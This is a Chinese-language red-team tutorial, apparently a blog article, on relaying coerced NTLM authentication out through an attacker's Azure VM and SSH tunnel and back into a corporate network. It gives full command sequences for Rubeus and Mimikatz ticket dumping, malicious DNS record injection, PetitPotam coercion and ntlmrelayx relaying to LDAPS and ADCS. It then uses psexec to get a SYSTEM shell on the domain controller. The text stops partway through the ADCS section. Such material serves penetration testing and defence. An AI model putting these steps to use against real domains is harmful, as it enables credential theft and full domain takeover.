目录


1. 引言:当出站流量成为攻击通道

在企业红队评估中,攻击者经常面临一个困境:已经通过钓鱼或漏洞利用在目标内部网络获得了低权限 C2(Command & Control)foothold,但:

  • 没有本地管理员权限,无法提取 LSASS 中的凭据;
  • 没有二层网络访问能力,C2 代理只能访问同网段主机;
  • 出站防火墙严格,445/TCP(SMB)出站被封锁,无法直接中继到内部目标;
  • Credential Guard 已启用,无法通过 Mimikatz 提取明文密码或 NTLM 哈希。

传统 NTLM 中继在这种环境下会失效——因为中继需要攻击者能够同时与"被胁迫的客户端"和"目标服务"通信,但攻击者的网络位置不允许直接访问目标服务。

SpecterOps 团队提出的"去而复返"(There and Back Again)技术,巧妙地利用了企业网络的一个普遍现实:内部主机通常被允许访问互联网上的 443/TCP 端口。攻击者强制触发目标系统的出站 NTLM 认证,让流量"出去"到互联网上的云端虚拟机,然后通过 SSH 隧道将流量"引回"红队基础设施,再通过 SOCKS5 代理中继回内部目标服务。

这条"出站 → 互联网 → 回引 → 内部目标"的迂回路径,突破了网络分段的限制,使低权限攻击者能够对域控的 LDAPS、ADCS 等高价值服务实施 NTLM 中继。

本文将从 NTLM 协议底层开始,完整拆解这一技术的每个环节。


2. NTLM 协议基础

2.1 NTLM Challenge-Response 认证流程

NTLM 是一种 Challenge-Response 认证协议,由三条消息组成:

客户端                          服务器
  │                              │
  │  1. NTLM_NEGOTIATE (Type 1)  │
  │  ┌──────────────────────┐    │
  │  │ Signature: NTLMSSP\0 │    │
  │  │ MessageType: 0x01    │    │
  │  │ NegotiateFlags:      │    │
  │  │  - NTLMv2            │    │
  │  │  - 128bit Encryption │    │
  │  │  - Sign              │    │
  │  │  - Domain/Workstation│    │
  │  │ DomainName: CORP     │    │
  │  │ Workstation: WKS01   │    │
  │  └──────────────────────┘    │
  │─────────────────────────────►│
  │                              │
  │                              │  生成 8 字节随机 Challenge
  │                              │  challenge = 0xA1B2C3D4E5F6A7B8
  │                              │
  │  2. NTLM_CHALLENGE (Type 2)  │
  │  ┌──────────────────────┐    │
  │  │ Signature: NTLMSSP\0 │    │
  │  │ MessageType: 0x02    │    │
  │  │ ServerChallenge:     │    │
  │  │   A1B2C3D4E5F6A7B8   │    │  ← 服务器生成的随机挑战值
  │  │ NegotiateFlags:      │    │
  │  │ TargetInfo:          │    │
  │  │  - MsvAvNbDomainName │    │
  │  │  - MsvAvNbComputerName│   │
  │  │  - MsvAvDnsDomainName│    │
  │  │  - MsvAvTimestamp    │    │  ← NTLMv2 关键: 时间戳防重放
  │  └──────────────────────┘    │
  │◄─────────────────────────────│
  │                              │
  │  计算 Response:              │
  │  NTv2Hash = HMAC-MD5(        │
  │    NTLMHash,                 │
  │    UPPER(user) + domain)     │
  │  temp = HMAC-MD5(NTv2Hash,   │
  │    challenge + blob)         │
  │  Response = temp + blob      │
  │                              │
  │  3. NTLM_AUTHENTICATE(T3)    │
  │  ┌──────────────────────┐    │
  │  │ Signature: NTLMSSP\0 │    │
  │  │ MessageType: 0x03    │    │
  │  │ DomainName: CORP     │    │
  │  │ UserName: jsmith     │    │  ← 认证身份
  │  │ Workstation: WKS01   │    │
  │  │ NTLMv2Response:      │    │
  │  │   <计算结果>          │    │  ← 用哈希加密的挑战响应
  │  │ SessionKey: <密钥>    │    │
  │  └──────────────────────┘    │
  │─────────────────────────────►│
  │                              │
  │                              │  服务器验证 Response
  │                              │  (向 DC 发起 NetrLogonSamLogon
  │                              │   或本地比对哈希)
  │                              │
  │  4. 认证结果                  │
  │◄─────────────────────────────│

NTLMv2 Response 的计算核心(Python 伪代码):

import hmac
import hashlib
import struct
import time

def compute_ntlmv2_response(ntlm_hash: bytes, username: str, 
                            domain: str, server_challenge: bytes,
                            target_info: bytes) -> bytes:
    """
    计算 NTLMv2 响应
    ntlm_hash: 16字节 NTLM 哈希
    username: 用户名
    domain: 域名
    server_challenge: 8字节服务器挑战
    target_info: Type 2 中的 TargetInfo blob
    """
    # 1. 计算 NTv2 哈希
    # NTv2Hash = HMAC-MD5(NTLMHash, UPPER(username) + domain) [UTF-16LE]
    identity = (username.upper() + domain).encode('utf-16le')
    ntv2_hash = hmac.new(ntlm_hash, identity, hashlib.md5).digest()

    # 2. 构造 blob (NTLMv2 客户端挑战结构)
    blob_header = b'\x01\x00\x00\x00'  # RespType + HiRespType
    reserved = b'\x00\x00\x00\x00'
    timestamp = struct.pack('<Q', int(time.time()) * 10000000 + 116444736000000000)
    client_challenge = b'\x11\x22\x33\x44\x55\x66\x77\x88'  # 8字节随机
    unknown = b'\x00\x00\x00\x00'
    blob = (blob_header + reserved + timestamp + client_challenge 
            + unknown + target_info + b'\x00\x00\x00\x00')

    # 3. 计算 NTProofStr
    # NTProofStr = HMAC-MD5(NTv2Hash, server_challenge + blob)
    proof = hmac.new(ntv2_hash, server_challenge + blob, hashlib.md5).digest()

    # 4. 最终 Response = NTProofStr + blob
    return proof + blob

2.2 为什么 NTLM 可以被中继

NTLM 认证的一个根本设计缺陷是:Type 3(AUTHENTICATE)消息不绑定到特定的服务器身份或传输会话。具体来说:

  1. 无服务器绑定:Type 3 消息中的 Response 是用客户端的哈希对服务器 Challenge 加密的结果。这个 Response 不包含任何标识"这是为哪个服务器计算的"信息。只要两个服务器使用相同的 Challenge,同一个 Response 都可以被验证——但实际上每个服务器有自己的 Challenge,所以中继的核心是实时转发。

  2. 无通道绑定:NTLM 不像 Kerberos 那样可以将认证绑定到 TLS 通道(Channel Binding)。NTLM 认证完成后建立的会话与认证过程本身没有密码学关联,攻击者可以在中继认证后接管会话。

  3. Challenge 可预测转发:攻击者作为中间人,可以向目标服务器发起连接获取 Challenge,然后将 Challenge 转发给被胁迫的客户端,客户端用其真实凭据计算 Response,攻击者再将 Response 转发给目标服务器——服务器会验证通过,因为 Response 确实是合法的。

中继的精髓在于:攻击者不需要知道客户端的密码或哈希。客户端自愿计算了 Response,攻击者只需搬运这个 Response。

中继攻击者 (中间人)              被胁迫客户端              目标服务器
  │                                │                        │
  │  1. 向目标服务器发起连接        │                        │
  │──────────────────────────────────────────────────────►│
  │                                │                        │
  │  2. 收到目标的 Challenge       │                        │
  │◄──────────────────────────────────────────────────────│
  │  (保存目标 Challenge)          │                        │
  │                                │                        │
  │  3. 胁迫客户端向自己认证        │                        │
  │  (发送目标 Challenge 给客户端) │                        │
  │───────────────────────────────►│                        │
  │                                │                        │
  │                                │  客户端用真实凭据       │
  │                                │  计算 Response         │
  │                                │                        │
  │  4. 收到客户端的 Response      │                        │
  │◄───────────────────────────────│                        │
  │  (这正是为目标 Challenge       │                        │
  │   计算的合法 Response)         │                        │
  │                                │                        │
  │  5. 将 Response 转发给目标     │                        │
  │──────────────────────────────────────────────────────►│
  │                                │                        │
  │                                │  服务器验证 Response    │
  │                                │  (向DC验证) → 通过!     │
  │                                │                        │
  │  6. 获得目标服务器的认证会话    │                        │
  │◄──────────────────────────────────────────────────────│
  │  (以客户端身份操作目标服务)     │                        │

2.3 NTLM 中继的基本原理

经典 NTLM 中继工具(如 ntlmrelayx.py、Responder)的工作流程:

  1. 监听:攻击者在某端口监听 SMB/HTTP/LDAP 等协议的连接。
  2. 胁迫:通过 PetitPotam、PrinterBug、LLMNR/NBT-NS 投毒等方法,迫使目标客户端向攻击者发起 NTLM 认证。
  3. 中继:攻击者将客户端的 NTLM 会话实时转发到目标服务(如 LDAPS、SMB),冒充客户端身份。
  4. 利用:认证成功后,攻击者在目标服务上执行操作(如修改 ACL、请求证书、执行命令)。

经典中继的局限在于:攻击者必须能同时与被胁迫客户端和目标服务通信。当两者网络不通时(如攻击者在外网,目标服务在内网),经典中继失效。"去而复返"技术正是为突破这一限制而生。


3. "去而复返"技术架构

3.1 完整流量路径架构图

┌─────────────────────────────────────────────────────────────────────────┐
│                        客户端内部网络 (内网)                              │
│                                                                         │
│  ┌──────────────┐    ┌──────────────┐    ┌──────────────────────────┐  │
│  │  攻击者C2    │    │  被胁迫的    │    │     目标服务 (域控)       │  │
│  │  foothold    │    │  目标主机    │    │                          │  │
│  │  (低权限)    │    │  (DC01)      │    │  LDAPS://DC01:636        │  │
│  │              │    │              │    │  ADCS Web Enrollment     │  │
│  │  ┌────────┐  │    │  ┌────────┐  │    │  SMB://DC01:445          │  │
│  │  │SOCKS5  │◄─┼────┼──┤出站NTLM│  │    │                          │  │
│  │  │代理    │  │    │  │认证    │  │    │  ┌──────────────────┐    │  │
│  │  └────────┘  │    │  └───┬────┘  │    │  │ ntlmrelayx.py    │    │  │
│  │      │       │    │      │       │    │  │ (中继到LDAPS)    │    │  │
│  │  ┌────────┐  │    │      │       │    │  │ 监听 0.0.0.0:443 │◄───┼──┼
│  │  │proxy- │  │    │      │       │    │  └──────────────────┘    │  │
│  │  │chains4│  │    │      │       │    │           ▲              │  │
│  │  └────────┘  │    │      │       │    │           │              │  │
│  └──────┬───────┘    └──────┼───────┘    └───────────┼──────────────┘  │
│         │                     │                        │                 │
│         │ C2信道              │ 出站443/TCP            │ 内网中继         │
│         │ (反向连接)          │ (WebDAV/EFSRPC)        │ (SOCKS5)        │
└─────────┼─────────────────────┼────────────────────────┼─────────────────┘
          │                     │                        │
          │              ┌──────┴────────────────────────┘
          │              │  出站流量"去"
          │              ▼
┌─────────┼──────────────────────────────────────────────────────────────┐
│         │                    互联网 (Internet)                          │
│         │                                                              │
│         │     ┌──────────────────────────────────────────────────┐     │
│         │     │            Azure 云端虚拟机 (公网IP)              │     │
│         │     │                                                    │     │
│         │     │  ┌──────────────────────────────────────────┐     │     │
│         │     │  │ iptables: 443/TCP → 8443/TCP 重定向      │     │     │
│         │     │  │ (非特权端口监听)                          │     │     │
│         │     │  └──────────────────┬───────────────────────┘     │     │
│         │     │                     │                             │     │
│         │     │  ┌──────────────────▼───────────────────────┐     │     │
│         │     │  │ SSH 反向隧道: 0.0.0.0:8443 → 红队:443    │     │     │
│         │     │  │ (sshd: AllowTcpForwarding=yes            │     │     │
│         │     │  │        GatewayPorts=clientspecified)     │     │     │
│         │     │  └──────────────────┬───────────────────────┘     │     │
│         │     │                     │                             │     │
│         │     └─────────────────────┼─────────────────────────────┘     │
│         │                           │                                   │
│         │              流量"复返" (回引到红队基础设施)                    │
│         │                           │                                   │
└─────────┼───────────────────────────┼───────────────────────────────────┘
          │                           │
          │     ┌─────────────────────▼───────────────────────┐
          │     │         红队基础设施 (攻击者控制)             │
          │     │                                               │
          └────►│  ┌─────────────────────────────────────┐     │
                │  │ ntlmrelayx.py                       │     │
                │  │ -t ldaps://DC_IP                     │     │
                │  │ --shadow-credentials                 │     │
                │  │ --http-port 443                      │     │
                │  │ (通过 C2 的 SOCKS5 代理将中继流量     │     │
                │  │  发回内网目标)                        │     │
                │  └─────────────────────────────────────┘     │
                │                                               │
                │  ┌─────────────────────────────────────┐     │
                │  │ proxychains4 → C2 SOCKS5 → 内网     │     │
                │  └─────────────────────────────────────┘     │
                └───────────────────────────────────────────────┘

数据流总结:

[1] 红队基础设施 → (C2信道) → C2 foothold (内网)
[2] C2 foothold 胁迫 DC01 出站 NTLM 认证
[3] DC01 → (出站443/TCP) → Azure VM (公网)
[4] Azure VM → (SSH反向隧道) → 红队基础设施:443
[5] 红队基础设施 ntlmrelayx 收到 NTLM 认证
[6] ntlmrelayx → (proxychains/SOCKS5) → C2 foothold → DC01 LDAPS
[7] 中继成功: 以 DC01 身份操作 LDAPS (如添加 shadow credentials)

3.2 每个跳转点的作用与必要性

跳转点 位置 作用 为什么必需
C2 foothold 内网低权限主机 SOCKS5 代理入口 + 胁迫触发点 攻击者在内网的唯一立足点
出站 443/TCP DC01 → Azure VM 将 NTLM 流量引出内网 内网防火墙通常允许 443 出站,但不允许 SMB
Azure VM 公网 流量接收 + SSH 隧道入口 需要公网可达的"锚点"接收出站流量
iptables 重定向 Azure VM 内核 443→8443 端口转换 SSH 反向隧道无法绑定特权端口 443
SSH 反向隧道 Azure VM → 红队 将流量加密回引到红队基础设施 红队工具不直接暴露公网,隐蔽性
SOCKS5 代理 C2 foothold 红队工具通过代理访问内网目标 红队基础设施无法直接访问内网
ntlmrelayx 红队基础设施 NTLM 中继核心 在红队侧统一处理中继逻辑
内网目标服务 DC01 LDAPS/ADCS 中继落地,执行操作 最终攻击目标

每个跳转都解决一个特定的网络限制:

  • Azure VM 解决"公网可达"问题——出站流量需要一个公网目的地;
  • iptables 解决"特权端口绑定"问题——非 root 的 SSH 隧道不能绑 443;
  • SSH 反向隧道 解决"红队隐蔽性"问题——红队核心工具不暴露公网 IP;
  • SOCKS5 解决"网络分段"问题——红队无法直连内网,需通过 C2 代理。

4. 认证胁迫方法对比

4.1 胁迫方法综合对比表

"去而复返"技术的关键是强制目标系统发起出站 NTLM 认证。以下是主要胁迫方法:

方法 协议 端口 所需权限 出站能力 典型工具 适用场景
PetitPotam MS-EFSRPC (RPC) 445/TCP 任意域用户(部分版本无需认证) SMB出站 PetitPotam.py 胁迫DC出站认证
PrinterBug MS-RPRN (RPC) 445/TCP 任意域用户 SMB出站 SpoolSample/SharpSpoolTrigger 胁迫启用打印服务的主机
WebDAV HTTP/HTTPS 80/443/TCP 任意域用户 443出站 custom WebClient触发 "去而复返"首选
HTTP coercion HTTP 80/443/TCP 无 HTTP出站 Responder/自定义服务 通用HTTP认证胁迫
LLMNR/NBT-NS投毒 mDNS/NetBIOS 5355/137/UDP 无(被动) 取决于客户端 Responder/Inveigh 被动等待名称解析失败
IPv6 DNS接管 DHCPv6 547/UDP 无(被动) 取决于客户端 mitm6 IPv6优先环境
DFSCoerce MS-DFSNM (RPC) 445/TCP 任意域用户 SMB出站 dfscoerce.py 胁迫DFS相关服务
ShadowCoerce MS-FSRVP (RPC) 445/TCP 任意域用户 SMB出站 shadowcoerce.py 卷影复制服务胁迫
Espresso MS-EFSRPC 445/TCP 无(匿名) SMB出站 espresso.py PetitPotam变体

"去而复返"场景下的方法选择:

在出站 445/TCP 被封锁的环境中,基于 SMB (445) 的胁迫方法(PetitPotam、PrinterBug、DFSCoerce)全部失效。此时必须使用 WebDAV (443/TCP) 作为出站通道。WebDAV 胁迫通过 UNC 路径 \\relayhost@443\test 触发,其中 @443 指定使用 443 端口而非默认的 445。

4.2 为什么 443/TCP 比 445/TCP 更适合出站

企业出站防火墙策略的典型配置:

出站规则 (典型企业):
┌─────────────────────────────────────────────────────────┐
│ 源: 内网任意    目标: 互联网                              │
│                                                         │
│ 端口策略:                                                │
│  80/TCP   (HTTP)     → 允许 (但可能经代理审计)           │
│  443/TCP  (HTTPS)    → 允许 (加密, 难以审计内容)         │
│  445/TCP  (SMB)      → 阻止 (防止数据外泄)              │
│  135/TCP  (RPC-EPM)  → 阻止                             │
│  139/TCP  (NetBIOS)  → 阻止                             │
│  3389/TCP (RDP)      → 阻止                             │
│  88/TCP   (Kerberos) → 阻止                             │
│                                                         │
│  高位端口 (49152+)   → 取决于策略                        │
└─────────────────────────────────────────────────────────┘

443/TCP 之所以成为出站中继的首选通道:

  1. 普遍允许出站:几乎所有企业都允许内网访问互联网 HTTPS(443),否则正常业务无法运行。
  2. 加密流量:虽然 NTLM 认证本身不加密,但 443 端口上的流量通常被 DPI 设备视为 HTTPS 而放过。
  3. WebDAV 支持:Windows WebClient 服务原生支持 @SSL/@443 语法,可在 443 端口上承载 WebDAV NTLM 认证。
  4. 隐蔽性高:443 流量是正常互联网流量的主体,混在其中难以被发现。

WebDAV UNC 路径格式:

\\relayhost@443\share\           → 使用 443/TCP 的 WebDAV
\\relayhost@SSL@443\share\       → 显式指定 SSL
\\relayhost\share\               → 默认 445/TCP SMB (可能被阻止)
\\relayhost@80\share\            → 使用 80/TCP 的 WebDAV (可能经代理)

5. 基础设施搭建完整指南

5.1 Azure VM 配置

在 Azure 上创建一台 Linux VM 作为出站流量接收锚点。

# Azure CLI: 创建资源组
az group create --name relay-infra --location eastus

# 创建 VM (Ubuntu 22.04, 标准配置)
az vm create \
  --name relay-host \
  --resource-group relay-infra \
  --image UbuntuLTS \
  --size Standard_B1s \
  --admin-username azureuser \
  --ssh-key-values ~/.ssh/relayhost_key.pem \
  --public-ip-sku Standard

# 获取公网 IP
CLOUD_IP=$(az vm show -d -g relay-infra -n relay-host \
  --query publicIps -o tsv)
echo "Cloud VM IP: $CLOUD_IP"

# 配置 NSG: 开放 443/TCP (入站)
az network nsg rule create \
  --name allow-443 \
  --resource-group relay-infra \
  --nsg-name relay-hostNSG \
  --priority 100 \
  --source-address-prefixes '*' \
  --source-port-ranges '*' \
  --destination-address-prefixes '*' \
  --destination-port-ranges 443 \
  --access Allow \
  --protocol Tcp \
  --direction Inbound

5.2 iptables 端口重定向规则

SSH 反向隧道无法由非特权用户绑定 443 端口(特权端口 < 1024)。解决方案是让 Azure VM 在 443 上接收连接,然后通过 iptables NAT 规则重定向到 8443(非特权端口),SSH 反向隧道绑定 8443。

# SSH 到 Azure VM
ssh -i ~/.ssh/relayhost_key.pem azureuser@$CLOUD_IP

# 添加 iptables NAT 规则 (PREROUTING: 处理外部入站流量)
sudo iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8443

# OUTPUT 规则: 处理本机产生的流量 (如本机测试)
sudo iptables -t nat -A OUTPUT -p tcp -o lo --dport 443 -j REDIRECT --to-port 8443

# 验证规则
sudo iptables -t nat -L -n -v

# 持久化规则 (Ubuntu)
sudo apt-get install -y iptables-persistent
sudo netfilter-persistent save

# 预期输出:
# Chain PREROUTING (policy ACCEPT)
# target    prot opt source    destination    ports
# REDIRECT  tcp  --  0.0.0.0/0 0.0.0.0/0     tcp dpt:443 redir ports 8443

规则解析:

规则 表 链 作用
PREROUTING --dport 443 --to-port 8443 nat PREROUTING 外部到达 443 的流量重定向到 8443
OUTPUT -o lo --dport 443 --to-port 8443 nat OUTPUT 本机回环测试 443 重定向到 8443

5.3 SSH 反向隧道配置

SSH 反向隧道将 Azure VM 上 8443 端口收到的流量,通过 SSH 加密通道转发回红队基础设施的 443 端口(ntlmrelayx 监听端口)。

步骤1:修改 Azure VM 的 sshd 配置

# 在 Azure VM 上
sudo tee -a /etc/ssh/sshd_config << 'EOF'
# 允许 TCP 转发
AllowTcpForwarding yes
# 允许客户端指定绑定地址 (GatewayPorts)
GatewayPorts clientspecified
# 允许反向转发端口绑定到所有接口
ClientAliveInterval 60
ClientAliveCountMax 3
EOF

# 重启 sshd
sudo systemctl restart sshd

步骤2:从红队基础设施建立反向隧道

# 在红队基础设施上执行
# -R: 反向端口转发
# 0.0.0.0:8443 → Azure VM 上绑定所有接口的 8443
# localhost:443 → 转发到红队本地的 443 (ntlmrelayx 监听)
sudo ssh -i ~/.ssh/relayhost_key.pem \
  -R 0.0.0.0:8443:localhost:443 \
  -N \
  -o ServerAliveInterval=60 \
  -o ServerAliveCountMax=3 \
  -o ExitOnForwardFailure=yes \
  azureuser@$CLOUD_IP

# 参数说明:
# -R 0.0.0.0:8443:localhost:443
#    │           │       │
#    │           │       └─ 红队本地目标端口 (ntlmrelayx)
#    │           └─ 红队本地目标地址
#    └─ Azure VM 上绑定的地址和端口 (0.0.0.0=所有接口)
# -N: 不执行远程命令, 仅做端口转发
# -o ExitOnForwardFailure: 端口转发失败时退出 (避免静默失败)

隧道验证:

# 在 Azure VM 上检查 8443 是否在监听
ss -tlnp | grep 8443
# 预期: 0.0.0.0:8443 LISTEN sshd

# 从任意外部主机测试: 连接 Azure VM:443 应被转发到红队:443
curl -v http://$CLOUD_IP:443/test
# 如果 ntlmrelayx 在监听, 会收到 HTTP 响应

流量路径验证:

外部主机 → AzureVM:443 → (iptables) → AzureVM:8443 
  → (SSH隧道) → 红队:443 (ntlmrelayx)

5.4 SOCKS5 代理建立

红队基础设施需要通过 C2 foothold 的 SOCKS5 代理访问内网目标。SOCKS5 代理的建立方式取决于 C2 框架(Cobalt Strike、Sliver、Havoc 等)。

Cobalt Strike 示例:

# 在 Beacon 交互界面
beacon> socks 1080
# 在 1080 端口启动 SOCKS5 代理
# 红队工具通过 proxychains 经此代理访问内网

proxychains 配置:

# /etc/proxychains4.conf
[ProxyList]
socks5  127.0.0.1 1080

# 测试代理连通性
proxychains4 nmap -sT -p 636 DC01.corp.local
# 预期: 通过 SOCKS5 代理扫描 DC01 的 LDAPS 端口

SOCKS5 流量路径:

红队工具 (ntlmrelayx/dnstool/PetitPotam)
  ↓ proxychains4
SOCKS5 代理 (127.0.0.1:1080)
  ↓ C2 加密信道
C2 foothold (内网)
  ↓ 直连内网
内网目标 (DC01 LDAPS:636)

6. 完整攻击执行流程

以下是从低权限 foothold 到域控接管的完整攻击步骤。

6.1 Kerberos 票据提取与转换

即使 Credential Guard 启用,Kerberos 服务票据(TGS)仍可从当前会话提取,因为 Credential Guard 只保护 NTLM 哈希和 TGT 的原始密钥,不阻止已签发票据的使用。

# 步骤1: 在 C2 foothold 上提取当前会话的 Kerberos 票据
# (使用 Rubeus 或 Mimikatz)
Rubeus.exe dump /nowrap
# 输出: Base64 编码的 Kirbi 票据

# 或使用 Mimikatz
mimikatz # sekurlsa::tickets /export
# 导出 .kirbi 文件到当前目录

# 步骤2: 将 Kirbi 转换为 ccache 格式 (Impacket 使用)
# 在红队基础设施上
ticketConverter.py ticket.kirbi ticket.ccache
# 输出: ticket.ccache

# 步骤3: 设置环境变量
export KRB5CCNAME=ticket.ccache

注意:如果 foothold 是域用户账户,提取的票据可用于向 DNS 服务认证(添加 DNS 记录)。如果 foothold 是机器账户,票据可用于机器账户能访问的服务。

6.2 添加 DNS 记录指向云端 VM

攻击者需要在内部 DNS 中添加一条记录,将 relayhost.domain 解析到 Azure VM 的公网 IP。这样当 DC01 被胁迫访问 \\relayhost@443\test 时,会解析到公网 IP 并发起出站 443 连接。

# 在红队基础设施上, 通过 SOCKS5 代理向内网 DNS 服务器添加记录
KRB5CCNAME=ticket.ccache proxychains4 python3 dnstool.py \
  -u 'CORP\jsmith' \
  -k \
  -r relayhost.corp.local \
  -d $CLOUD_IP \
  -a add \
  --zone corp.local \
  DC01.corp.local

# 参数说明:
# -k: 使用 Kerberos 认证 (无需密码)
# -u: 用户名 (使用票据中的身份)
# -r: 要添加的 DNS 记录名
# -d: DNS 记录值 (Azure VM 公网 IP)
# -a add: 添加记录
# --zone: DNS 区域名
# DC01.corp.local: DNS 服务器地址

# 预期输出:
# [-] Adding new record
# [*] ADD operation was successful!

验证 DNS 记录:

proxychains4 nslookup relayhost.corp.local DC01.corp.local
# 预期: relayhost.corp.local → CLOUD_IP (Azure VM 公网IP)

6.3 启动 EFS 与 WebClient 服务

WebDAV 认证需要 WebClient 服务运行。WebClient 服务默认不自动启动,且启动需要管理员权限——但可以通过特定技术绕过。

启动 EFS 服务(无需管理员权限):

# 通过 SOCKS5 代理, 在 DC01 上启动 EFS 服务
# rpc2efs.py 利用 MS-EFSRPC 接口, 普通用户即可触发 EFS 服务启动
proxychains4 python3 rpc2efs.py -k 'CORP\jsmith' DC01.corp.local

# 预期输出:
# [*] Connecting to DC01.corp.local
# [*] Binding to MS-EFSRPC
# [+] EFS service started successfully

启动 WebClient 服务:

WebClient 服务无法直接通过 sc start 启动(需要管理员)。红队使用 BOF(Beacon Object File)通过 ETW 事件触发 WebClient 自动启动:

# Cobalt Strike Beacon 中执行
beacon> inline-execute /path/to/StartWebClient.x64.oem relayhost.corp.local

# StartWebClient BOF 原理:
# 1. 调用 WinHttpOpen 创建 HTTP 会话
# 2. 触发 ETW 事件
# 3. WebClient 服务的延迟启动触发器被激活
# 4. WebClient 服务自动启动并连接到指定主机

WebClient 启动验证:

proxychains4 python3 atexec.py -k 'CORP\jsmith' DC01.corp.local \
  'sc query WebClient'
# 预期: STATE: 4 RUNNING

6.4 启动 ntlmrelayx 中继到 LDAPS

ntlmrelayx 在红队基础设施上监听 443 端口,接收从 Azure VM SSH 隧道回引的 NTLM 认证,然后通过 SOCKS5 代理中继到内网 DC01 的 LDAPS。

# 在红队基础设施上启动 ntlmrelayx
# 关键: 通过 proxychains 让 ntlmrelayx 的出站连接走 SOCKS5 代理
proxychains4 ntlmrelayx.py \
  -t ldaps://DC01.corp.local \
  --shadow-credentials \
  --no-dump \
  --no-da \
  --no-acl \
  --no-validate-privs \
  --http-port 443

# 参数详解:
# -t ldaps://DC01.corp.local
#    中继目标: DC01 的 LDAPS (636/TCP)
#    LDAPS 签名默认未启用, 可被中继; LDAP (389) 默认要求签名
# --shadow-credentials
#    在目标对象上添加 msDS-KeyCredentialLink (Shadow Credentials)
#    攻击者随后可用 PKINIT 以该身份请求 TGT
# --no-dump / --no-da / --no-acl / --no-validate-privs
#    禁用其他操作, 仅执行 shadow credentials (降低噪音)
# --http-port 443
#    监听 443 端口接收 NTLM 认证 (与 Azure VM SSH 隧道对接)

为什么选择 LDAPS 而非 LDAP:

中继目标选择逻辑:
┌─────────────────────────────────────────────────────────────┐
│ LDAP (389/TCP):                                             │
│   - 默认启用 LDAP Signing (Windows Server 2019+)            │
│   - 中继会被拒绝: "Strong(er) authentication required"      │
│   - 除非域控配置为 "Signing not required"                    │
│                                                             │
│ LDAPS (636/TCP):                                            │
│   - 默认不启用 Channel Binding (EPA)                        │
│   - 可被中继 (除非显式启用 EPA + Channel Binding)            │
│   - 证书服务使用 LDAPS, 是常见中继目标                        │
│                                                             │
│ SMB (445/TCP):                                              │
│   - 如果启用 SMB Signing, 中继失败                          │
│   - 域控默认启用 Signing                                    │
└─────────────────────────────────────────────────────────────┘

ntlmrelayx 启动后预期输出:

[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 443
[*] Servers started, waiting for connections

6.5 PetitPotam 触发 EFSRPC 胁迫

最后一步:触发 DC01 发起出站 NTLM 认证到 relayhost@443。

由于使用 WebDAV(443)而非 SMB(445)出站,PetitPotam 的目标参数需要特殊格式:

# 通过 SOCKS5 代理执行 PetitPotam
# 目标参数: 'relayhost@443/test' (WebDAV UNC 路径)
# 这会让 DC01 尝试通过 WebDAV (443/TCP) 访问 relayhost
proxychains4 python3 PetitPotam.py \
  -u jsmith \
  -p 'Summer2024!' \
  -d corp.local \
  'relayhost@443/test' \
  DC01.corp.local

# 参数说明:
# -u/-p/-d: 认证凭据 (用于 MS-EFSRPC 绑定)
# 'relayhost@443/test': 胁迫目标
#    relayhost = DNS 记录指向 Azure VM
#    @443 = 使用 WebDAV 443 端口
#    /test = 路径
# DC01.corp.local: 被胁迫的机器

完整攻击时序:

T+0s:   PetitPotam 向 DC01 发送 EFSRPC 胁迫请求
        DC01 收到请求, 尝试访问 \\relayhost@443\test

T+1s:   DC01 解析 relayhost.corp.local → CLOUD_IP (Azure VM)
        DC01 发起 TCP 连接到 CLOUD_IP:443

T+2s:   Azure VM 收到 443 连接
        iptables 重定向到 8443
        SSH 反向隧道转发到红队:443

T+3s:   ntlmrelayx 收到 HTTP 连接
        ntlmrelayx 向 DC01 的 LDAPS (636) 发起连接
        (通过 SOCKS5 → C2 foothold → 内网)

T+4s:   ntlmrelayx 从 LDAPS 获取 Challenge
        ntlmrelayx 将 Challenge 通过 HTTP 发给 DC01 (出站回引)

T+5s:   DC01 用机器账户凭据计算 Response
        DC01 通过 HTTP (443出站) 发送 Response

T+6s:   Response 经 Azure VM → SSH隧道 → ntlmrelayx
        ntlmrelayx 将 Response 中继到 LDAPS

T+7s:   LDAPS 验证通过!
        ntlmrelayx 以 DC01$ 机器账户身份操作 LDAPS
        执行: 添加 msDS-KeyCredentialLink (Shadow Credentials)

T+8s:   ntlmrelayx 输出:
        [*] SMBD-HTTP-Proxy: Client (DC01$) authenticated
        [*] Adding shadow credentials to: DC01$
        [+] Shadow credentials added successfully!
        [*] Use the following command to obtain a TGT:
            gettgtpkinit.py -pfx DC01.pfx CORP/DC01$ DC01.ccache

Shadow Credentials 后续利用:

# 步骤1: 用 Shadow Credentials 请求 DC01$ 的 TGT
python3 gettgtpkinit.py \
  -pfx DC01.pfx \
  -dc-ip DC01.corp.local \
  CORP/DC01$ \
  DC01.ccache

# 步骤2: 用 DC01$ 的 TGT 通过 S4U2Self 申请管理员票据
# (如果 DC01$ 有 RBCD 委派或约束委派到自身)
KRB5CCNAME=DC01.ccache python3 getST.py \
  -spn cifs/DC01.corp.local \
  -impersonate Administrator \
  CORP/DC01$ \
  Administrator.ccache

# 步骤3: 注入管理员票据, 获取域控访问权限
export KRB5CCNAME=Administrator.ccache
python3 psexec.py -k -no-pass CORP/Administrator@DC01.corp.local
# 获得 DC01 上的 SYSTEM shell

6.6 ADCS ESC8 中继变体

除了中继到 LDAPS,"去而复返"技术还可中继到 ADCS Web 注册端点(ESC8 漏洞),直接请求以被胁迫身份签名的证书。

# 中继到 ADCS Web 注册端点
proxychains4 ntlmrelayx.py \
  -t http://CA01.corp.local/certsrv/certfnsh.asp \
  -smb2support \
  --adcs \
  --template DomainController \
  --http-port 443

# 参数说明:
# -t: ADCS Web 注册端点 URL
# --adcs: 启用 ADCS 证书请求模式
# --template: 证书模板 (DomainController 模板允许以 DC 身份认证)

# 胁迫触发 (同前)
proxychains4 python3 PetitPotam.py -u jsmith -p 'Pass!' -d corp.local \
  'relayhost@443/test' DC01.corp.local

# ntlmrelayx 输出:
# [*] HTTP Client: DC01$ requested /certsrv/certfnsh.asp
# [*] ADCS: Requesting certificate for CORP\DC01$
# [+] Certificate successfully obtained!
#     User: DC01$
#     Thumbprint: A1B2C3D4...
#     Base64: MIIR...

# 后续: 用证书通过 PKINIT 请求 TGT
python3 gettgtpkinit.py -pfx-base64 MIIR... CORP/DC01$ DC01.ccache

ADCS ESC8 中继的优势:

  • 不需要在目标上修改任何属性(不像 Shadow Credentials 需要 LDAP 写权限);
